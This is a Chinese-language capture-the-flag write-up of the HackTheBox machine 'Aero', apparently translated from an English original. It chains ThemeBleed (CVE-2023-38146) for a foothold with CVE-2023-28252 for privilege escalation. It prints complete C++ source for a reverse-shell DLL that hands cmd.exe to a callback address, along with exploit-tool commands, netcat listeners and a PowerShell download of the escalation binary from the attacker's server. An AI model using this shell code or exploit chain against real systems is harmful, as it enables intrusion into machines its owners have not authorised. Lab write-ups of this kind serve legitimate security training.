端口扫描
根据 IIS 版本,主机可能运行现代 Windows 操作系统(Window 10/11 或 Server 2016+)。
访问80
底下有一个上传自定义主题的表单
尝试上传图片会失败,他需要.theme
和 .themepack
扩展名
制作一个虚拟文件 test.theme
并上传它
该网站还表示将测试该主题,这意味着有人会打开它
底部有一封电子邮件 support@aerohub.htb
。页面上的所有链接都指向同一页面的其他部分。
没有什么有用的
进行目录爆破
feroxbuster -u http://10.10.11.237 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
window11心脏滴血
搜索“windows 11 themeexploit”会返回大量名为“ThemeBleed”的结果:
CVE-2023-38146(称为 ThemeBleed)是 Windows 主题中的一个漏洞,允许远程执行代码。它已在2023 年 9 月星期二补丁中修复。
该漏洞来自 Windows 处理.msstyles
主题文件中引用的文件的方式。这些.msstyles
文件导致 Windows 在.msstyles
与_vrf.dll
附加的路径相同的路径中打开 DLL。该文件的数字签名在加载之前会被检查。
该漏洞的出现是因为,当使用 999 版本时,_vrf.dll
检查二进制文件签名和加载使用它的时间之间存在很大差距。这种差距带来了竞争条件,攻击者可以用恶意有效负载替换经过验证的样式 DLL 来运行任意代码。
这边之所以到达这个思路,是因为在nmap扫描时出现的iis版本,和文件上传需要的文件后缀
POC
研究人员发布的概念验证代码位于此 GitHub 存储库中。在“发布”部分中有一个 zip 文件,其中包含 Windows 可执行文件以及名为stage1
、stage2
和 的DLL stage3
:
GitHub 上的 README 显示该 exe 有三个命令:
-
server
- 运行服务器 -
make_theme
- 制作一个.theme
文件 -
make_themepack
- 制作一个.themepack
文件
stage1`是一个设置为 999 的`msstyles`文件。是一个通过检查的合法签名样式文件。是要加载的 DLL,默认情况下将启动.`PACHTHEME_VERSION``stage2``stage3``calc.exe
具体项目代码分析可以看(https://www.youtube.com/watch?v=CdzgD-eMOnY)
最大的收获是:
-
主题尝试从我的主机上的 SMB 共享加载样式文件。
-
这会触发与以 结尾的文件的交互
_vrf.dll
,首先使用 API 打开它CreateFile
以读取它并验证它的签名,然后使用LoadLibrary
API 打开它。 -
SMB 服务器利用其打开方式的差异来返回合法 DLL 或恶意 DLL。
生成DLL
设置 VS 项目
rev_shell_dll · master · 0xdf / CTFScripts · GitLab这里面又现成的但是这边不能用
打开 Visual Studio(不是 Visual Studio Code)并“创建一个新项目”。我将使用过滤器菜单中的“C++”、“Windows”和“Library”来访问“Dynamic-Link Library (DLL)”:
我将命名该项目并为其获取一个文件夹:
创建带有导出的虚拟 DLL
在尝试放入反向 shell 之前,我想确保可以创建具有正确导出名称的 DLL。dllmain.cpp
该项目从“Source Files”目录开始:
该代码已DllMain
定义函数。过去,我从这里调用我的反向 shell,其中模板具有break
:
我将通过右键单击解决方案资源管理器中的“头文件”来创建一个新的头文件并将其命名为rev.h
. 在此文件中,我将定义导出的函数:
#pragma once extern "C" __declspec(dllexport) int VerifyThemeVersion(void);
在 C++ 中,具有这一点很重要,"C"
否则函数名称在导出时会被破坏。
我将添加rev.cpp
到解决方案资源管理器中的“源文件”,并在其中添加代码以弹出消息框:
#include "pch.h" #include <Windows.h> #include "rev.h" using namespace std; int VerifyThemeVersion(void) { MessageBox(NULL, L"Hello, World!", L"Test", MB_OK); return 0; }
rev.h
为了使函数头和导出正常工作,包含在内非常重要。
我将我的项目设置为“发布”,然后转到“构建”>“构建解决方案”,然后它就会构建。我可以在 CFF 资源管理器之类的工具中查看它并查看导出:
运行它rundll32
会显示它的工作原理:
我将从在线存储库中获取一个反向 shell(我将使用我的,但有很多),并对其进行调整以获得我需要的内容。我的从环境中读取回调IP和端口,这在这里不起作用。我将在函数顶部将它们定义为常量:
#include "pch.h" #include <stdio.h> #include <string.h> #include <process.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdlib.h> #pragma comment(lib, "Ws2_32.lib") #include "rev.h" using namespace std; void rev_shell() { FreeConsole(); const char* REMOTE_ADDR = "127.0.0.1"; const char* REMOTE_PORT = "4444"; WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); struct addrinfo* result = NULL, * ptr = NULL, hints; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result); ptr = result; SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL); connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = (HANDLE)ConnectSocket; si.hStdOutput = (HANDLE)ConnectSocket; si.hStdError = (HANDLE)ConnectSocket; TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE"); CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); WSACleanup(); } int VerifyThemeVersion(void) { rev_shell(); return 0; }
这边的利用就是把上面的ip改成自己靶机的ip
我将 DLL 负载复制到 ThemeBleed 存储库中data/stage3
:
PS > copy ..\rev_shell_dll\ReverseShellDLL\x64\Release\ReverseShellDLL.dll .\data\stage_3
现在我将生成一个主题文件:
PS > .\ThemeBleed.exe make_theme 10.10.14.6 exploit.theme
如果我现在尝试启动服务器,它会失败:
PS > .\ThemeBleed.exe server Unhandled Exception: System.Net.Sockets.SocketException: An attempt was made to access a socket in a way forbidden by its access permissions at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, SocketAddress socketAddress) at System.Net.Sockets.Socket.Bind(EndPoint localEP) at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Int32 port, Boolean enableSMB1, Boolean enableSMB2, Boolean enableSMB3, Nullable`1 connectionInactivityTimeout) at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Boolean enableSMB1, Boolean enableSMB2) at SMBFilterDemo.Program.RunServer() in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 63 at SMBFilterDemo.Program.Main(String[] args) in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 129
问题是 Windows 已经默认监听 SMB。
关闭 SMB
完全禁用 SMB 的最简单方法是在 Windows 服务面板中禁用服务器服务:
停止服务应该可行,但某些东西仍然占用端口 445,至少在我的机器上是这样。在这里重新启动就可以解决这个问题。
运行服务器
重新启动后,我可以在服务器模式下运行该漏洞:
PS > .\ThemeBleed.exe server Server started
###
我将开始nc
在我的 Windows 主机上监听,连接到 HTB VPN,并上传主题文件。ThemeBleed 服务器几乎立刻就建立了连接:
PS > .\ThemeBleed.exe server
nc连接
nc -lvnp 4444
提权root
在 sam.emerson 的Documents
目录中有一个 PDF 文档:
C:\Users\sam.emerson\Documents> dir Volume in drive C has no label. Volume Serial Number is C009-0DB2 Directory of C:\Users\sam.emerson\Documents 09/21/2023 02:58 PM <DIR> . 09/20/2023 05:08 AM <DIR> .. 09/21/2023 09:18 AM 14,158 CVE-2023-28252_Summary.pdf 09/20/2023 07:10 AM 987 watchdog.ps1 2 File(s) 15,145 bytes 2 Dir(s) 3,048,124,416 bytes free
watchdog.ps1
是模拟 sam.emerson 加载主题的脚本。
我将通过将 PDF 转换为 base64 来删除它:
PS C:\Users\sam.emerson\Desktop> powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows PS C:\Users\sam.emerson\Desktop> cd ..\Documents PS C:\Users\sam.emerson\documents> ls Directory: C:\Users\sam.emerson\documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/21/2023 9:18 AM 14158 CVE-2023-28252_Summary.pdf -a---- 9/26/2023 1:07 PM 987 watchdog.ps1 PS C:\Users\sam.emerson\documents> [convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte)) JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMC。。。。。。。。。。。。。。。。。。。。。。。。==
在我的虚拟机上,我会将其解码为一个文件:
oxdf@hacky$ echo "JVBERi...[snip]...GCg==" | base64 -d > CVE-2023-28252_Summary.pdf
PDF 包含有关 CVE-2023-28252 的信息:
systeminfo
我会注意到应用了 7 个修补程序。CVE-2023-28252 的 Microsoft 页面包含指向 Windows 11 x64 的“仅安全”补丁的链接,这些补丁标记为 KB5025224,但该系统上不存在该补丁。
CVE-2023-28252
POC
搜索“CVE-2023-28252 POC”可以找到来自 fortra 的此存储库。它有大量关于公共日志文件系统中的漏洞利用的详细信息。
该存储库有一个 VS 项目文件,因此我将其克隆到我的 Windows 计算机并在 Visual Studio 中打开它。POC 相当长,但在第 1491-1502 行,它检查它是否作为系统运行,然后启动notepad.exe
:
我将替换为来自revshells.comnotepad.exe
的 PowerShell #3 (Base64) :
现在我将构建它。将其设置为发布版本非常重要,否则它将需要 Aero 上没有的某些库。如果我看到有关无法转换字符串类型的错误,如下所示:
我可以通过进入项目设置(clfs_eop
在解决方案资源管理器中右键单击并转到“属性”)来修复此问题,在“配置属性”>“高级”下将“字符集”设置为“使用多字节字符集”。现在关于“重建解决方案”:
I can fix that by going into the project settings (right click on clfs_eop
in the Solutions Explorer and go to Properties), under Configuration Properties > Advanced set “Character Set” to “Use Multi-Byte Character Set”. Now on “Rebuild Solution”:
我将使用 Python Web 服务器 ( python3 -m http.server 80
) 托管该文件,然后使用 PowerShell 请求该文件:
PS C:\Users\sam.emerson\documents> iwr http://10.10.14.6/clfs_eop.exe -outfile clfs_eop.exe PS C:\Users\sam.emerson\documents> ls
现在我运行漏洞利用:
PS C:\Users\sam.emerson\documents> .\c.exe
nc -lvnp 9001